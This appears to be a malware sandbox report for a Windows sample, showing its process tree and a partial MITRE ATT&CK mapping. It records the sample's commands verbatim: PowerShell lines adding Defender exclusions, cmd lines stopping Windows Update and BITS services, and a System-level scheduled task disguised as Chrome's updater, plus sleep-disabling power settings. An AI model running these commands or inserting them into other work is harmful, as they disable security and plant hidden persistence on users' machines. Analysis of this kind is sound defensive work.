- - C:\Users\Admin\AppData\Local\Temp\latestX.exe
    "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:2084
- C:\Users\Admin\AppData\Local\Temp\C20E.exe
  C:\Users\Admin\AppData\Local\Temp\C20E.exe
  2⤵
  - Executes dropped EXE
  PID:1692
- C:\Users\Admin\AppData\Local\Temp\D0A0.exe
  C:\Users\Admin\AppData\Local\Temp\D0A0.exe
  2⤵
  - Executes dropped EXE
  PID:960
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 508
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious use of AdjustPrivilegeToken
  PID:1884
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:2756
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1792
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2536
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1544
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Loads dropped DLL
    - Launches sc.exe
    PID:1840
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Drops file in System32 directory
  - Suspicious use of AdjustPrivilegeToken
  PID:2580
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2864
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2996
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2960
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1828
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:3052
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:2992
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:1956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:2196
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:708
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2800
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2200
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2872
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:768
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:2212
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2760
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3052
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:1940
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:2516
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:2844
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:2984
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:2412
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:1012

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\XL0sY6xI.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\XL0sY6xI.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1836
- C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\bj2fU1eZ.exe
  C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\bj2fU1eZ.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  PID:2884
- - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1cL78Sw6.exe
    C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1cL78Sw6.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1888
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 280
      4⤵
      Loads dropped DLL
      Program crash
      PID:596

C:\Windows\system32\taskeng.exe
taskeng.exe {73A15AD3-DE3D-4E6E-80BF-26A4E4A1B833} S-1-5-21-3513876443-2771975297-1923446376-1000:GPFFWLPI\Admin:Interactive:[1]
1⤵
PID:1628
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  - Executes dropped EXE
  PID:2300
- C:\Users\Admin\AppData\Roaming\seudsrd
  C:\Users\Admin\AppData\Roaming\seudsrd
  2⤵
  - Executes dropped EXE
  PID:2292
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  PID:1528
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  PID:2572
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  PID:1884

C:\Windows\system32\taskeng.exe
taskeng.exe {F1AD90C3-7234-43C9-9157-A3693D088BD2} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:2248
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  PID:1504

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231010051102.log C:\Windows\Logs\CBS\CbsPersist_20231010051102.cab
1⤵
PID:1484

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2031672091271935828-591221189-295479773-1898640442-112418513353686634588707554"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry